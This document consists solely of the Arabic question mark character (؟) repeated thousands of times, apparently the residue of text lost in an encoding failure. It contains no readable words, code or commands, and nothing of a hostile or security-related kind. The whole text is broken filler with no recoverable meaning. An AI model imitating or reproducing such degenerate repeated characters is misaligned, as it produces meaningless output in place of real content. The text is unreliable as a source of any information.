؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟